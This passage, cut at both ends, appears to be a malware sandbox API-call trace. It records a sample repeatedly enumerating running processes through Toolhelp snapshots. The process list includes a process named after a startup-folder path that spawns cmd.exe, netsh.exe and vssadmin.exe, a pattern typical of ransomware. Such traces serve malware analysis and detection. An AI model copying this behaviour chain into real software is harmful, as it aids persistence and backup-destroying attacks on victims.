th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0052.999] GetLastError () returned 0x12 [0052.999] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.000] GetLastError () returned 0x12 [0053.000] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.000] GetLastError () returned 0x12 [0053.001] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.001] GetLastError () returned 0x12 [0053.001] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.002] GetLastError () returned 0x12 [0053.002] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.003] GetLastError () returned 0x12 [0053.003] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.003] GetLastError () returned 0x12 [0053.003] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.004] GetLastError () returned 0x12 [0053.004] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.005] GetLastError () returned 0x12 [0053.005] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.006] GetLastError () returned 0x12 [0053.006] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.006] GetLastError () returned 0x12 [0053.007] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.007] GetLastError () returned 0x12 [0053.007] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.008] GetLastError () returned 0x12 [0053.008] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.009] GetLastError () returned 0x12 [0053.009] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.009] GetLastError () returned 0x12 [0053.009] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0053.010] GetLastError () returned 0x12 [0053.010] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.011] GetLastError () returned 0x12 [0053.011] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare-back.exe")) returned 1 [0053.011] GetLastError () returned 0x12 [0053.011] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="josh.exe")) returned 1 [0053.012] GetLastError () returned 0x12 [0053.012] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0053.013] GetLastError () returned 0x12 [0053.013] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashers-liability-centered.exe")) returned 1 [0053.013] GetLastError () returned 0x12 [0053.013] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="txtranslated.exe")) returned 1 [0053.014] GetLastError () returned 0x12 [0053.014] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="started.exe")) returned 1 [0053.015] GetLastError () returned 0x12 [0053.015] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="microwaveanalysis.exe")) returned 1 [0053.015] GetLastError () returned 0x12 [0053.015] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectiouscomparison.exe")) returned 1 [0053.016] GetLastError () returned 0x12 [0053.016] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pd barnes.exe")) returned 1 [0053.017] GetLastError () returned 0x12 [0053.017] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tradition.exe")) returned 1 [0053.017] GetLastError () returned 0x12 [0053.017] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="genetics dm penguin.exe")) returned 1 [0053.018] GetLastError () returned 0x12 [0053.018] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="metrichours.exe")) returned 1 [0053.019] GetLastError () returned 0x12 [0053.019] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cropssonic.exe")) returned 1 [0053.020] GetLastError () returned 0x12 [0053.020] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vampire.exe")) returned 1 [0053.021] GetLastError () returned 0x12 [0053.021] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declaration_earrings_moms.exe")) returned 1 [0053.021] GetLastError () returned 0x12 [0053.021] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="damaged.exe")) returned 1 [0053.022] GetLastError () returned 0x12 [0053.022] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wrong.exe")) returned 1 [0053.023] GetLastError () returned 0x12 [0053.023] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roll_plates.exe")) returned 1 [0053.023] GetLastError () returned 0x12 [0053.023] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="professionalheavywidth.exe")) returned 1 [0053.024] GetLastError () returned 0x12 [0053.024] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="command.exe")) returned 1 [0053.025] GetLastError () returned 0x12 [0053.025] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="friend_medicine.exe")) returned 1 [0053.025] GetLastError () returned 0x12 [0053.026] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="examine.exe")) returned 1 [0053.026] GetLastError () returned 0x12 [0053.026] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="september_introduced_justice.exe")) returned 1 [0053.027] GetLastError () returned 0x12 [0053.027] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.028] GetLastError () returned 0x12 [0053.028] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0053.028] GetLastError () returned 0x12 [0053.028] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 1 [0053.029] GetLastError () returned 0x12 [0053.029] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.030] GetLastError () returned 0x12 [0053.030] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa54, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.030] GetLastError () returned 0x12 [0053.030] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.031] GetLastError () returned 0x12 [0053.031] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.032] GetLastError () returned 0x12 [0053.032] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb34, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0053.033] GetLastError () returned 0x12 [0053.033] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb3c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.033] GetLastError () returned 0x12 [0053.033] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.034] GetLastError () returned 0x12 [0053.034] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.133] GetLastError () returned 0x12 [0053.133] Process32NextW (in: hSnapshot=0x1ac, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.134] CloseHandle (hObject=0x1ac) returned 1 [0053.134] Sleep (dwMilliseconds=0x1f4) [0053.784] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x174 [0053.787] Process32FirstW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0053.787] GetLastError () returned 0x12 [0053.787] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0053.788] GetLastError () returned 0x12 [0053.788] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0053.789] GetLastError () returned 0x12 [0053.789] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.789] GetLastError () returned 0x12 [0053.789] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0053.790] GetLastError () returned 0x12 [0053.790] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0053.791] GetLastError () returned 0x12 [0053.791] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0053.792] GetLastError () returned 0x12 [0053.792] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0053.792] GetLastError () returned 0x12 [0053.792] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0053.793] GetLastError () returned 0x12 [0053.793] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0053.794] GetLastError () returned 0x12 [0053.794] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.794] GetLastError () returned 0x12 [0053.794] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.795] GetLastError () returned 0x12 [0053.795] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.796] GetLastError () returned 0x12 [0053.796] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.796] GetLastError () returned 0x12 [0053.796] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.797] GetLastError () returned 0x12 [0053.797] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0053.798] GetLastError () returned 0x12 [0053.798] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.799] GetLastError () returned 0x12 [0053.799] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.799] GetLastError () returned 0x12 [0053.799] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0053.800] GetLastError () returned 0x12 [0053.800] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0053.801] GetLastError () returned 0x12 [0053.801] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0053.801] GetLastError () returned 0x12 [0053.801] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0053.802] GetLastError () returned 0x12 [0053.802] Process32NextW (in: hSnapshot=0x174, lppe=0x292f5f4 | out: lppe=0x292f5f4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, 